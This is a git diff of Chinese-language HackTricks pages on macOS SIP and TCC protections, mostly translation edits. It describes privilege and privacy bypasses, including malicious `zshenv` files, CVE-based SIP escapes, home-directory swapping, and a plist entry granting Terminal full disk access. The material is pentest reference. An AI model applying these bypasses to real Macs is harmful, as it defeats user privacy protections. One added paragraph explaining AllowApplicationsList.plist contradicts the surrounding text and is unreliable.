<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## 中等
|
## 中等
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ TODO:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|
|
@ -81,7 +81,7 @@ SIP还施加了其他几项限制。例如,它禁止**加载未签名的内核
|
||||||
|
|
||||||
### 不存在的SIP文件
|
### 不存在的SIP文件
|
||||||
|
|
||||||
一个潜在的漏洞是,如果一个文件在**`rootless.conf`中被指定,但当前不存在**,它可以被创建。恶意软件可以利用这一点在系统上**建立持久性**。例如,如果一个恶意程序在`rootless.conf`中列出了`/System/Library/LaunchDaemons`中的.plist文件但不存在,它可以创建一个该文件。
|
一个潜在的漏洞是,如果一个文件在**`rootless.conf`中被指定,但当前不存在**,它可以被创建。恶意软件可以利用这一点在系统上**建立持久性**。例如,如果一个恶意程序在`rootless.conf`中列出了`/System/Library/LaunchDaemons`中的.plist文件,但该文件不存在,它可以创建一个该文件。
|
||||||
|
|
||||||
### com.apple.rootless.install.heritable
|
### com.apple.rootless.install.heritable
|
||||||
|
|
||||||
|
@ -89,13 +89,15 @@ SIP还施加了其他几项限制。例如,它禁止**加载未签名的内核
|
||||||
权限**`com.apple.rootless.install.heritable`**允许绕过SIP
|
权限**`com.apple.rootless.install.heritable`**允许绕过SIP
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
[**这篇博文的研究人员**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/)发现了macOS的系统完整性保护(SIP)机制的一个漏洞,被称为“Shrootless”漏洞。这个漏洞围绕着`system_installd`守护程序展开,它具有一个名为**`com.apple.rootless.install.heritable`**的权限,允许其任何子进程绕过SIP的文件系统限制。
|
[**这篇博文的研究人员**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/)发现了macOS的系统完整性保护(SIP)机制的一个漏洞,被称为“Shrootless”漏洞。这个漏洞围绕着**`system_installd`**守护程序展开,该守护程序具有一个名为**`com.apple.rootless.install.heritable`**的权限,允许其任何子进程绕过SIP的文件系统限制。
|
||||||
|
|
||||||
研究人员发现,在安装由苹果签名的包(.pkg文件)时,**`system_installd`会运行**包中包含的任何**post-install**脚本。这些脚本由默认的shell **`zsh`**执行,如果存在**`/etc/zshenv`**文件,即使在非交互模式下,它也会自动**运行**该文件中的命令。攻击者可以利用这个行为:通过创建一个恶意的`/etc/zshenv`文件,并等待`system_installd`调用`zsh`,他们可以在设备上执行任意操作。
|
**`system_installd`**守护程序将安装由**Apple**签名的软件包。
|
||||||
|
|
||||||
|
研究人员发现,在安装一个Apple签名的软件包(.pkg文件)时,**`system_installd`**会**运行**包中包含的任何**post-install**脚本。这些脚本由默认的shell **`zsh`**执行,如果存在的话,即使在非交互模式下,也会自动从**`/etc/zshenv`**文件中**运行**命令。攻击者可以利用这个行为:通过创建一个恶意的`/etc/zshenv`文件,并等待**`system_installd`调用`zsh`**,他们可以在设备上执行任意操作。
|
||||||
|
|
||||||
此外,还发现**`/etc/zshenv`可以用作一般的攻击技术**,不仅仅是用于绕过SIP。每个用户配置文件都有一个`~/.zshenv`文件,它的行为与`/etc/zshenv`相同,但不需要root权限。这个文件可以用作持久性机制,每次`zsh`启动时触发,或者用作权限提升机制。如果管理员用户使用`sudo -s`或`sudo <command>`提升为root用户,`~/.zshenv`文件将被触发,有效地提升为root用户。
|
此外,还发现**`/etc/zshenv`可以用作一般的攻击技术**,不仅仅是用于绕过SIP。每个用户配置文件都有一个`~/.zshenv`文件,它的行为与`/etc/zshenv`相同,但不需要root权限。这个文件可以用作持久性机制,每次`zsh`启动时触发,或者用作权限提升机制。如果管理员用户使用`sudo -s`或`sudo <command>`提升为root用户,`~/.zshenv`文件将被触发,有效地提升为root用户。
|
||||||
|
|
||||||
在[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)中发现,同样的**`system_installd`**进程仍然可以被滥用,因为它将**post-install脚本放在了SIP保护的随机命名文件夹中的`/tmp`**中。问题在于**`/tmp`本身没有受到SIP的保护**,因此可以在其上**挂载**一个**虚拟映像**,然后**安装程序**会将**post-install脚本**放在其中,**卸载**虚拟映像,**重新创建**所有**文件夹**并**添加**带有**要执行的payload的post-install脚本**。
|
在[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)中发现,同样的**`system_installd`**进程仍然可以被滥用,因为它将**post-install脚本放在SIP保护的随机命名文件夹中的`/tmp`内**。问题在于**`/tmp`本身没有受到SIP的保护**,所以可以在其上**挂载**一个**虚拟映像**,然后**安装程序**会将**post-install脚本**放在其中,**卸载**虚拟映像,**重新创建**所有**文件夹**并**添加**带有**要执行的payload的post-installation脚本**。
|
||||||
|
|
||||||
### **com.apple.rootless.install**
|
### **com.apple.rootless.install**
|
||||||
|
|
||||||
|
@ -112,8 +114,8 @@ SIP还施加了其他几项限制。例如,它禁止**加载未签名的内核
|
||||||
以下是更详细的说明:
|
以下是更详细的说明:
|
||||||
|
|
||||||
1. **不可变系统**:封闭系统快照使macOS系统卷变为“不可变”,意味着它不能被修改。这可以防止任何未经授权或意外的对系统的更改,从而可能危及安全性或系统稳定性。
|
1. **不可变系统**:封闭系统快照使macOS系统卷变为“不可变”,意味着它不能被修改。这可以防止任何未经授权或意外的对系统的更改,从而可能危及安全性或系统稳定性。
|
||||||
2. **系统软件更新**:当您安装macOS更新或升级时,macOS会创建一个新的系统快照。然后,macOS启动卷使用**APFS(Apple文件系统)**切换到这个新的快照。整个应用更新的过程变得更加安全可靠,因为如果在更新过程中出现问题,系统始终可以恢复到之前的快照。
|
2. **系统软件更新**:当您安装macOS更新或升级时,macOS会创建一个新的系统快照。然后,macOS启动卷使用**APFS(Apple文件系统)**切换到这个新的快照。如果在更新过程中出现问题,整个应用更新的过程变得更加安全可靠,因为系统始终可以恢复到之前的快照。
|
||||||
3. **数据分离**:结合在macOS Catalina中引入的数据和系统卷分离的概念,封闭系统快照功能确保所有数据和设置存储在单独的“**数据**”卷上。这种分离使您的数据与系统独立,简化了系统更新的过程,并增强了系统安全性。
|
3. **数据分离**:结合在macOS Catalina中引入的数据和系统卷分离的概念,封闭系统快照功能确保所有数据和设置都存储在单独的“**数据**”卷上。这种分离使您的数据与系统独立,简化了系统更新的过程,并增强了系统安全性。
|
||||||
|
|
||||||
请记住,这些快照由macOS自动管理,并且由于APFS的空间共享功能,它们不会占用额外的磁盘空间。还需要注意的是,这些快照与**Time Machine快照**不同,后者是用户可访问的整个系统的备份。
|
请记住,这些快照由macOS自动管理,并且由于APFS的空间共享功能,它们不会占用额外的磁盘空间。还需要注意的是,这些快照与**Time Machine快照**不同,后者是用户可访问的整个系统的备份。
|
||||||
|
|
||||||
|
@ -123,22 +125,23 @@ SIP还施加了其他几项限制。例如,它禁止**加载未签名的内核
|
||||||
|
|
||||||
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
|
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
|
||||||
| ====================================================
|
| ====================================================
|
||||||
| APFS容器引用: disk3
|
| APFS Container Reference: disk3
|
||||||
| 大小(容量上限): 494384795648 B(494.4 GB)
|
| Size (Capacity Ceiling): 494384795648 B (494.4 GB)
|
||||||
| 卷使用的容量: 219214536704 B(219.2 GB)(使用了44.3%)
|
| Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used)
|
||||||
| 未分配的容量: 275170258944 B(275.2 GB)(空闲了55.7%)
|
| Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free)
|
||||||
| |
|
| |
|
||||||
| +-< 物理存储器 disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
|
| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
|
||||||
| | -----------------------------------------------------------
|
| | -----------------------------------------------------------
|
||||||
| | APFS物理存储器磁盘: disk0s2
|
| | APFS Physical Store Disk: disk0s2
|
||||||
| | 大小: 494384795648 B(494.4 GB)
|
| | Size: 494384795648 B (494.4 GB)
|
||||||
| |
|
| |
|
||||||
| +-> 卷 disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
|
| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
|
||||||
| | ---------------------------------------------------
|
| | ---------------------------------------------------
|
||||||
<strong>| | APFS卷
|
<strong>| | APFS Volume
|
||||||
|
| | 快照: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
|
||||||
| | 快照磁盘: disk3s1s1
|
| | 快照磁盘: disk3s1s1
|
||||||
<strong>| | 快照挂载点: /
|
<strong>| | 快照挂载点: /
|
||||||
</strong><strong>| | 快照已封存: 是
|
</strong><strong>| | 快照密封: 是
|
||||||
</strong>[...]
|
</strong>[...]
|
||||||
+-> 卷 disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
|
+-> 卷 disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
|
||||||
| ---------------------------------------------------
|
| ---------------------------------------------------
|
||||||
|
@ -146,15 +149,15 @@ SIP还施加了其他几项限制。例如,它禁止**加载未签名的内核
|
||||||
| 名称: Macintosh HD - Data (不区分大小写)
|
| 名称: Macintosh HD - Data (不区分大小写)
|
||||||
<strong> | 挂载点: /System/Volumes/Data
|
<strong> | 挂载点: /System/Volumes/Data
|
||||||
</strong><strong> | 已使用容量: 412071784448 B (412.1 GB)
|
</strong><strong> | 已使用容量: 412071784448 B (412.1 GB)
|
||||||
</strong> | 封存: 否
|
</strong> | 密封: 否
|
||||||
| FileVault: 是 (已解锁)
|
| FileVault: 是 (已解锁)
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
在上面的输出中,可以看到**用户可访问的位置**被挂载在`/System/Volumes/Data`下。
|
在上面的输出中,可以看到**用户可访问的位置**被挂载在`/System/Volumes/Data`下。
|
||||||
|
|
||||||
此外,**macOS系统卷快照**被挂载在`/`下,并且它是**已封存**的(由操作系统进行了加密签名)。因此,如果绕过SIP并对其进行修改,**操作系统将无法启动**。
|
此外,**macOS系统卷快照**被挂载在`/`下,并且它是**密封的**(由操作系统进行了加密签名)。因此,如果绕过SIP并对其进行修改,**操作系统将无法启动**。
|
||||||
|
|
||||||
还可以通过运行以下命令**验证封存是否已启用**:
|
还可以通过运行以下命令**验证密封是否已启用**:
|
||||||
```bash
|
```bash
|
||||||
csrutil authenticated-root status
|
csrutil authenticated-root status
|
||||||
Authenticated Root status: enabled
|
Authenticated Root status: enabled
|
||||||
|
@ -168,10 +171,10 @@ mount
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合:[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -47,7 +47,7 @@ ps -ef | grep tcc
|
||||||
此外,具有完全磁盘访问权限的进程可以编辑用户模式数据库。现在,应用程序还需要FDA来读取数据库。
|
此外,具有完全磁盘访问权限的进程可以编辑用户模式数据库。现在,应用程序还需要FDA来读取数据库。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**通知中心UI**可以对系统TCC数据库进行更改:
|
通知中心UI可以对系统TCC数据库进行更改:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -133,11 +133,54 @@ tccutil reset All
|
||||||
|
|
||||||
获取对用户TCC数据库的**写入权限**,你无法授予自己**`FDA`**权限,只有系统数据库中的权限可以授予。
|
获取对用户TCC数据库的**写入权限**,你无法授予自己**`FDA`**权限,只有系统数据库中的权限可以授予。
|
||||||
|
|
||||||
但是你可以给自己**`Finder的自动化权限`**,由于`Finder`具有`FDA`权限,所以你也具有。
|
但是你可以给自己**`Finder的自动化权限`**,由于`Finder`具有`FDA`权限,所以你也有。
|
||||||
|
|
||||||
### TCC签名检查
|
### 从SIP绕过到TCC绕过
|
||||||
|
|
||||||
TCC数据库存储了应用程序的**Bundle ID**,但它还存储了关于签名的**信息**,以确保请求使用权限的应用程序是正确的。
|
**TCC数据库**受到**SIP**的保护,因此只有具有指定权限的进程才能修改数据库。因此,如果攻击者找到了一个可以绕过SIP的文件(能够修改受SIP限制的文件),他将能够移除TCC数据库的保护,并获得所有TCC权限。
|
||||||
|
|
||||||
|
然而,还有另一种利用这个**SIP绕过来绕过TCC**的方法,文件`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`是一个允许例外TCC的应用程序列表。因此,如果攻击者可以从该文件中移除SIP保护并添加自己的应用程序,该应用程序将能够绕过TCC。
|
||||||
|
例如,添加终端:
|
||||||
|
```bash
|
||||||
|
# Get needed info
|
||||||
|
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||||
|
```
|
||||||
|
AllowApplicationsList.plist:
|
||||||
|
|
||||||
|
AllowApplicationsList.plist是一个用于macOS的配置文件,用于管理TCC(Transparency, Consent, and Control)框架中的应用程序访问权限。TCC框架是macOS中的一种安全保护机制,用于保护用户的隐私和数据安全。
|
||||||
|
|
||||||
|
该配置文件列出了被授权访问敏感数据的应用程序。当一个应用程序请求访问用户的隐私数据(如相册、摄像头、麦克风等),TCC框架会检查AllowApplicationsList.plist中的配置,以确定是否允许该应用程序访问。
|
||||||
|
|
||||||
|
在AllowApplicationsList.plist中,每个应用程序都有一个条目,包含应用程序的Bundle Identifier和对应的访问权限。访问权限可以是“Full”(完全访问)或“Limited”(有限访问)。
|
||||||
|
|
||||||
|
通过编辑AllowApplicationsList.plist文件,可以控制哪些应用程序可以访问用户的敏感数据。这对于加强macOS的安全性和隐私保护非常重要。
|
||||||
|
|
||||||
|
请注意,编辑AllowApplicationsList.plist文件需要管理员权限,并且更改可能会影响系统的正常运行。因此,在进行任何更改之前,请确保了解所做更改的后果,并备份原始配置文件以防止意外情况发生。
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>Services</key>
|
||||||
|
<dict>
|
||||||
|
<key>SystemPolicyAllFiles</key>
|
||||||
|
<array>
|
||||||
|
<dict>
|
||||||
|
<key>CodeRequirement</key>
|
||||||
|
<string>identifier "com.apple.Terminal" and anchor apple</string>
|
||||||
|
<key>IdentifierType</key>
|
||||||
|
<string>bundleID</string>
|
||||||
|
<key>Identifier</key>
|
||||||
|
<string>com.apple.Terminal</string>
|
||||||
|
</dict>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
```
|
||||||
|
### TCC 签名检查
|
||||||
|
|
||||||
|
TCC **数据库**存储了应用程序的**Bundle ID**,但它还会**存储**关于**签名**的**信息**,以**确保**请求使用权限的应用程序是正确的。
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -162,7 +205,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||||
应用程序不仅需要请求和获得对某些资源的访问权限,还需要具备相关的权限。\
|
应用程序不仅需要请求和获得对某些资源的访问权限,还需要具备相关的权限。\
|
||||||
例如,Telegram具有`com.apple.security.device.camera`权限来请求访问相机。没有此权限的应用程序将无法访问相机(甚至不会要求用户授权)。
|
例如,Telegram具有`com.apple.security.device.camera`权限来请求访问相机。没有此权限的应用程序将无法访问相机(甚至不会要求用户授权)。
|
||||||
|
|
||||||
然而,对于应用程序访问某些用户文件夹(例如`~/Desktop`,`~/Downloads`和`~/Documents`)并不需要具备任何特定的权限。系统会透明地处理访问并根据需要提示用户。
|
然而,对于访问某些用户文件夹(如`~/Desktop`、`~/Downloads`和`~/Documents`)的应用程序,它们不需要具备任何特定的权限。系统会透明地处理访问并根据需要提示用户。
|
||||||
|
|
||||||
苹果的应用程序不会生成提示。它们在其权限列表中包含预授予权限,这意味着它们永远不会生成弹出窗口,也不会出现在任何TCC数据库中。例如:
|
苹果的应用程序不会生成提示。它们在其权限列表中包含预授予权限,这意味着它们永远不会生成弹出窗口,也不会出现在任何TCC数据库中。例如:
|
||||||
```bash
|
```bash
|
||||||
|
@ -178,7 +221,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
这将避免日历要求用户访问提醒事项、日历和通讯录。
|
这将避免日历要求用户访问提醒事项、日历和通讯录。
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
除了一些关于权限的官方文档外,还可以在[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)找到一些非官方的**有关权限的有趣信息**。
|
除了一些关于权限的官方文档外,还可以在[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)找到非官方的**有关权限的有趣信息**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 敏感的未受保护的位置
|
### 敏感的未受保护的位置
|
||||||
|
@ -189,7 +232,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
|
|
||||||
### 用户意图 / com.apple.macl
|
### 用户意图 / com.apple.macl
|
||||||
|
|
||||||
如前所述,可以通过将文件拖放到应用程序中来**授予应用程序对文件的访问权限**。这个访问权限不会在任何TCC数据库中指定,而是作为文件的**扩展属性**存储。该属性将**存储允许的应用程序的UUID**。
|
如前所述,可以通过将文件拖放到应用程序中来**授予应用程序对文件的访问权限**。这个访问权限不会在任何TCC数据库中指定,而是作为文件的**扩展属性**。该属性将**存储允许的应用程序的UUID**。
|
||||||
```bash
|
```bash
|
||||||
xattr Desktop/private.txt
|
xattr Desktop/private.txt
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
|
|
|
@ -44,7 +44,7 @@ asd
|
||||||
|
|
||||||
### 处理扩展名 - CVE-2022-26767
|
### 处理扩展名 - CVE-2022-26767
|
||||||
|
|
||||||
属性 **`com.apple.macl`** 被赋予文件以授予某个应用程序读取权限。当用户通过 **拖放** 文件到应用程序上时,或者用户通过 **双击** 文件以使用 **默认应用程序** 打开它时,将设置此属性。
|
属性 **`com.apple.macl`** 被赋予文件以授予某个应用程序读取权限。当用户通过 **拖放** 文件到应用程序上或者双击文件以使用 **默认应用程序** 打开时,将设置此属性。
|
||||||
|
|
||||||
因此,用户可以 **注册一个恶意应用程序** 来处理所有扩展名,并调用 Launch Services 来 **打开** 任何文件(因此,恶意文件将被授予读取权限)。
|
因此,用户可以 **注册一个恶意应用程序** 来处理所有扩展名,并调用 Launch Services 来 **打开** 任何文件(因此,恶意文件将被授予读取权限)。
|
||||||
|
|
||||||
|
@ -194,9 +194,9 @@ TCC使用位于用户HOME文件夹中的数据库来控制对用户特定资源
|
||||||
|
|
||||||
1. 获取目标应用程序的_csreq_ blob。
|
1. 获取目标应用程序的_csreq_ blob。
|
||||||
2. 使用所需访问权限和_csreq_ blob植入一个伪造的_TCC.db_文件。
|
2. 使用所需访问权限和_csreq_ blob植入一个伪造的_TCC.db_文件。
|
||||||
3. 使用[dsexport](https://www.unix.com/man-page/osx/1/dsexport/)导出用户的目录服务条目。
|
3. 使用[dsexport](https://www.unix.com/man-page/osx/1/dsexport/)导出用户的Directory Services条目。
|
||||||
4. 修改目录服务条目以更改用户的主目录。
|
4. 修改Directory Services条目以更改用户的主目录。
|
||||||
5. 使用[dsimport](https://www.unix.com/man-page/osx/1/dsimport/)导入修改后的目录服务条目。
|
5. 使用[dsimport](https://www.unix.com/man-page/osx/1/dsimport/)导入修改后的Directory Services条目。
|
||||||
6. 停止用户的_tccd_并重新启动该进程。
|
6. 停止用户的_tccd_并重新启动该进程。
|
||||||
|
|
||||||
第二个POC使用了`/usr/libexec/configd`,其中包含具有值`kTCCServiceSystemPolicySysAdminFiles`的`com.apple.private.tcc.allow`。如果使用`-t`选项运行`configd`,攻击者可以指定要加载的自定义Bundle。因此,该漏洞利用了`configd`代码注入来替换更改用户主目录的`dsexport`和`dsimport`方法。
|
第二个POC使用了`/usr/libexec/configd`,其中包含具有值`kTCCServiceSystemPolicySysAdminFiles`的`com.apple.private.tcc.allow`。如果使用`-t`选项运行`configd`,攻击者可以指定要加载的自定义Bundle。因此,该漏洞利用了`configd`代码注入来替换更改用户主目录的`dsexport`和`dsimport`方法。
|
||||||
|
@ -211,19 +211,19 @@ TCC使用位于用户HOME文件夹中的数据库来控制对用户特定资源
|
||||||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
此外,绕过TCC最常见的进程注入方式是通过插件(加载库)进行的。插件通常以库或plist的形式存在,它们将由主应用程序加载并在其上下文中执行。因此,如果主应用程序具有对TCC受限文件的访问权限(通过授予的权限或权限),则自定义代码也将具有相同的访问权限。
|
此外,绕过TCC最常见的进程注入方式是通过插件(加载库)进行的。插件通常以库或plist的形式存在,它们将由主应用程序加载并在其上下文中执行。因此,如果主应用程序具有对TCC受限文件的访问权限(通过授予的权限或entitlements),则自定义代码也将具有相同的访问权限。
|
||||||
|
|
||||||
### CVE-2020-27937 - Directory Utility
|
### CVE-2020-27937 - Directory Utility
|
||||||
|
|
||||||
应用程序`/System/Library/CoreServices/Applications/Directory Utility.app`具有权限`kTCCServiceSystemPolicySysAdminFiles`,加载了扩展名为`.daplug`的插件,并且没有启用强化运行时。
|
应用程序`/System/Library/CoreServices/Applications/Directory Utility.app`具有entitlement`kTCCServiceSystemPolicySysAdminFiles`,加载了扩展名为`.daplug`的插件,并且没有启用强化运行时。
|
||||||
|
|
||||||
为了利用此CVE,滥用先前的权限,更改了`NFSHomeDirectory`,以便能够接管用户的TCC数据库以绕过TCC。
|
为了利用此CVE,滥用先前的entitlement,更改了`NFSHomeDirectory`(主目录),以便能够接管用户的TCC数据库以绕过TCC。
|
||||||
|
|
||||||
有关更多信息,请查看[原始报告](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。
|
有关更多信息,请查看[原始报告](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。
|
||||||
|
|
||||||
### CVE-2020-29621 - Coreaudiod
|
### CVE-2020-29621 - Coreaudiod
|
||||||
|
|
||||||
二进制文件`/usr/sbin/coreaudiod`具有权限`com.apple.security.cs.disable-library-validation`和`com.apple.private.tcc.manager`。第一个权限允许进行代码注入,第二个权限允许其管理TCC。
|
二进制文件`/usr/sbin/coreaudiod`具有entitlements`com.apple.security.cs.disable-library-validation`和`com.apple.private.tcc.manager`。第一个entitlement允许代码注入,第二个entitlement允许其管理TCC。
|
||||||
|
|
||||||
该二进制文件允许从文件夹`/Library/Audio/Plug-Ins/HAL`加载第三方插件。因此,可以使用以下POC加载插件并滥用TCC权限:
|
该二进制文件允许从文件夹`/Library/Audio/Plug-Ins/HAL`加载第三方插件。因此,可以使用以下POC加载插件并滥用TCC权限:
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -296,11 +296,11 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||||
|
|
||||||
### CVE-2023-26818 - Telegram
|
### CVE-2023-26818 - Telegram
|
||||||
|
|
||||||
